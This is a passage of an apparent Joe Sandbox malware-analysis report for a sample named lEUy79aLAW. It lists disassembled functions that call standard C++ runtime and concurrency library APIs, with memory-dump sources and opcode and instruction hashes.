                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Maklocstr$Maklocchr
                                  • String ID:
                                  • API String ID: 2020259771-0
                                  • Opcode ID: 51390fd16639ee5397b5de91cc7f769f8111404478b8e02c10ab65897d999971
                                  • Instruction ID: 0ebe50563b14651fe2292a49e122b77b54fb0e4d37637130e3be1c93d19c6765
                                  • Opcode Fuzzy Hash: 51390fd16639ee5397b5de91cc7f769f8111404478b8e02c10ab65897d999971
                                  • Instruction Fuzzy Hash: 4D11BCB2940754BBE7209BA48981F12B7ACAB18350F084919F284CB641E374FC4087A6
                                  Function 00A575E5 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 00A5761E
                                    • Part of subcall function 00A57EEF: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 00A57F09
                                    • Part of subcall function 00A57EEF: __EH_prolog3.LIBCMT ref: 00A5A365
                                    • Part of subcall function 00A57EEF: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00A5A372
                                    • Part of subcall function 00A57EEF: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 00A5A384
                                    • Part of subcall function 00A57EEF: InterlockedPopEntrySList.KERNEL32(00AE8C08,00000004,00A99950,000000FF), ref: 00A5A39A
                                  • Hash.LIBCONCRT ref: 00A5762B
                                  • Hash.LIBCONCRT ref: 00A57641
                                    • Part of subcall function 00A51E5B: DeleteCriticalSection.KERNEL32(?,00A5FCD3,215D2A08,00000000,?,?,00000000,00A9EEC0,000000FF,?,00A5325E), ref: 00A51E5C
                                  • ~ListArray.LIBCONCRT ref: 00A57660
                                    • Part of subcall function 00A574BB: InterlockedFlushSList.KERNEL32(?,?,?,00A57665,215D2A08,?,?,?,00A99950,000000FF), ref: 00A574C0
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574C9
                                    • Part of subcall function 00A574BB: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00A57665,215D2A08,?,?,?,00A99950,000000FF), ref: 00A574D2
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574DB
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574E5
                                  • ~ListArray.LIBCONCRT ref: 00A57668
                                    • Part of subcall function 00A57535: InterlockedFlushSList.KERNEL32(?,?,?,00A5766D,215D2A08,?,?,?,00A99950,000000FF), ref: 00A5753A
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A57543
                                    • Part of subcall function 00A57535: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00A5766D,215D2A08,?,?,?,00A99950,000000FF), ref: 00A5754C
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A57555
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A5755F
                                    • Part of subcall function 00A57535: _InternalDeleteHelper.LIBCONCRT ref: 00A57578
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_DeleteHashScheduling$AcquireBase::CleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_NodeNode::~ReentrantSchedulerSectionTracingUnregister
                                  • String ID:
                                  • API String ID: 2613779565-0
                                  • Opcode ID: b09efab8fdcd5e92f9baf82dd2946a11491c0a6f3554c9368b08b887c1eb5ef3
                                  • Instruction ID: ffb346900298a0292e9e6e32dd1cd1fa99a805941e0033e3111d4da75fec6a77
                                  • Opcode Fuzzy Hash: b09efab8fdcd5e92f9baf82dd2946a11491c0a6f3554c9368b08b887c1eb5ef3
                                  • Instruction Fuzzy Hash: 7E118631204A12AFC709EF24EE42ADDF765FF55711F40422AEC16535A2EF307A1DCA90
                                  Function 00A4869B Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A486A2
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A486AC
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A486FD
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A4871D
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A4873B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: c6a5574d84e08bde3defa3f80fb3a6bfb9ab8577eb79cd65009e10f9d11e044a
                                  • Instruction ID: 8bd804bb470e457907e43f85457723274d08d1f07bde067a2998ae86d881b62f
                                  • Opcode Fuzzy Hash: c6a5574d84e08bde3defa3f80fb3a6bfb9ab8577eb79cd65009e10f9d11e044a
                                  • Instruction Fuzzy Hash: DB11A036D001189BCF01EBA4DA91BBEB7B1AF94310F240509F8016B291DF789E41C791
                                  Function 00A48741 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A48748
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A48752
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A487A3
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A487C3
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A487E1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 43541cdf5371d379f7cd78c139fbb2feb7591080c016de23e1e9bb4fe0eaaa7b
                                  • Instruction ID: 18a01de019d054e3ada7ae1b2efe4cbdbecbd1d89ff9926a98ea9d56080e826a
                                  • Opcode Fuzzy Hash: 43541cdf5371d379f7cd78c139fbb2feb7591080c016de23e1e9bb4fe0eaaa7b
                                  • Instruction Fuzzy Hash: 4211A03AD002189BCF01FBA4D951BBE77B1AF94710F240409F4116B291DF789E01C791
                                  Function 00A489D9 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A489E0
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A489EA
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A48A3B
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A48A5B
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A48A79
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: b4bbce61c58ae7082e29f6166b714d66275ab21dfd3cf5a9c4076da2e5ce05ae
                                  • Instruction ID: 1815fe0f16331f489724d453f7158fed8ab6e9302d6c12bf9f1750f1312d04b3
                                  • Opcode Fuzzy Hash: b4bbce61c58ae7082e29f6166b714d66275ab21dfd3cf5a9c4076da2e5ce05ae
                                  • Instruction Fuzzy Hash: 1A11AC76D002189BCF01EBA4D952BBE77B5AF84750F250819F8117B2A1CF789E05DB91
                                  Function 00A48933 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A4893A
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A48944
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A48995
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A489B5
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A489D3
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 6e1a1b0e64a58fdb2b969f7dd7c5e036bb778c29b3ff693bdfdcd1f177d77442
                                  • Instruction ID: e981327cee8d4efe2f7594679a0b96bf2dc878d13505025cfae5d6ae7ab5cbed
                                  • Opcode Fuzzy Hash: 6e1a1b0e64a58fdb2b969f7dd7c5e036bb778c29b3ff693bdfdcd1f177d77442
                                  • Instruction Fuzzy Hash: C811A036D006149BCF05EBA4DA52BBE77B1BF84311F240809F8016B2A2CF789E45C791
                                  Function 00A3B4C7 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B4CE
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B4D8
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B529
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B549
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B567
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 9dc52106ba95394f9205b64476befafe8efb5de46af037355ede519faf3a6e24
                                  • Instruction ID: 5bc548bc3029ab4fbd69806c72099e02c4f18929b3273bc1c6ae8676c9330ebd
                                  • Opcode Fuzzy Hash: 9dc52106ba95394f9205b64476befafe8efb5de46af037355ede519faf3a6e24
                                  • Instruction Fuzzy Hash: 3C11C272D102199BCF05EBA4C986BFE7775BF84710F240509F9126B2A1DF749E05CBA1
                                  Function 00A3B421 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B428
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B432
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B483
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B4A3
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B4C1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 8fa659864f91b122e85c719fd9aafbeb58ea8c6b9a5cf2bcbb13e1ccba6f5f8f
                                  • Instruction ID: fb941e0c6fe92a732c1955ff46c98071847422c58d3362a509f4927333e685ee
                                  • Opcode Fuzzy Hash: 8fa659864f91b122e85c719fd9aafbeb58ea8c6b9a5cf2bcbb13e1ccba6f5f8f
                                  • Instruction Fuzzy Hash: 3611A032D002189BCF01EBA4C941BBE7771BF84724F640509F5116B2A2DF749E05DBA1
                                  Function 00A3B56D Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B574
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B57E
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B5CF
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B5EF
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B60D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 51500096db34afce393c248dfc485f3f830e193c0efa8693d13be180d628e6f2
                                  • Instruction ID: 79c64f8c0011f971867812b31327e11ccfbfeb821dcc2b1e951f17e5eb6cec8c
                                  • Opcode Fuzzy Hash: 51500096db34afce393c248dfc485f3f830e193c0efa8693d13be180d628e6f2
                                  • Instruction Fuzzy Hash: 2411CE32D002189BCF05EBA8CA42BFE77B5AF84710F240409F9126B2A1CF749E01CBA1
                                  Function 00A35698 Relevance: 7.6, APIs: 5, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3569F
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A356A9
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • std::_Facet_Register.LIBCPMT ref: 00A356FA
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3571A
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A35738
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
                                  • String ID:
                                  • API String ID: 651022567-0
                                  • Opcode ID: 3859e45758c8b1a07be3f217e02d8f15d0224561fdbb496b94f29c17b35aed0e
                                  • Instruction ID: 9a68f7f85f47195c87cbb0cfea90bb98921bfd1a77cd9bfa7b8b46f40e0628c6
                                  • Opcode Fuzzy Hash: 3859e45758c8b1a07be3f217e02d8f15d0224561fdbb496b94f29c17b35aed0e
                                  • Instruction Fuzzy Hash: B3119E76D006589BCF01EBB8CA42BFD77B4AF84714F140809F4016B291DF759E05CBA1
                                  Function 00A843FE Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(?,?,?,00A759B8,00A85BD7,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?), ref: 00A84403
                                  • _free.LIBCMT ref: 00A84438
                                  • _free.LIBCMT ref: 00A8445F
                                  • SetLastError.KERNEL32(00000000,?,?,?), ref: 00A8446C
                                  • SetLastError.KERNEL32(00000000,?,?,?), ref: 00A84475
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_free
                                  • String ID:
                                  • API String ID: 3170660625-0
                                  • Opcode ID: 5a05d5421f9f0c67ede7e5e364014348379066dc01a396fcbddb69e04bbf2fb9
                                  • Instruction ID: 3c4377b92e7209cb52543aeb688ecf225b303080e8b874c18ffdc900a5b3bcd5
                                  • Opcode Fuzzy Hash: 5a05d5421f9f0c67ede7e5e364014348379066dc01a396fcbddb69e04bbf2fb9
                                  • Instruction Fuzzy Hash: D80128372016436BDA12B7F57D46F2B267DEBCA775321812AF416D22C2FF208E068321
                                  Function 00A575F2 Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 00A5761E
                                    • Part of subcall function 00A57EEF: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 00A57F09
                                    • Part of subcall function 00A57EEF: __EH_prolog3.LIBCMT ref: 00A5A365
                                    • Part of subcall function 00A57EEF: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00A5A372
                                    • Part of subcall function 00A57EEF: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 00A5A384
                                    • Part of subcall function 00A57EEF: InterlockedPopEntrySList.KERNEL32(00AE8C08,00000004,00A99950,000000FF), ref: 00A5A39A
                                  • Hash.LIBCONCRT ref: 00A5762B
                                  • Hash.LIBCONCRT ref: 00A57641
                                    • Part of subcall function 00A51E5B: DeleteCriticalSection.KERNEL32(?,00A5FCD3,215D2A08,00000000,?,?,00000000,00A9EEC0,000000FF,?,00A5325E), ref: 00A51E5C
                                  • ~ListArray.LIBCONCRT ref: 00A57660
                                    • Part of subcall function 00A574BB: InterlockedFlushSList.KERNEL32(?,?,?,00A57665,215D2A08,?,?,?,00A99950,000000FF), ref: 00A574C0
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574C9
                                    • Part of subcall function 00A574BB: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00A57665,215D2A08,?,?,?,00A99950,000000FF), ref: 00A574D2
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574DB
                                    • Part of subcall function 00A574BB: ListArray.LIBCONCRT ref: 00A574E5
                                  • ~ListArray.LIBCONCRT ref: 00A57668
                                    • Part of subcall function 00A57535: InterlockedFlushSList.KERNEL32(?,?,?,00A5766D,215D2A08,?,?,?,00A99950,000000FF), ref: 00A5753A
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A57543
                                    • Part of subcall function 00A57535: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00A5766D,215D2A08,?,?,?,00A99950,000000FF), ref: 00A5754C
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A57555
                                    • Part of subcall function 00A57535: ListArray.LIBCONCRT ref: 00A5755F
                                    • Part of subcall function 00A57535: _InternalDeleteHelper.LIBCONCRT ref: 00A57578
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
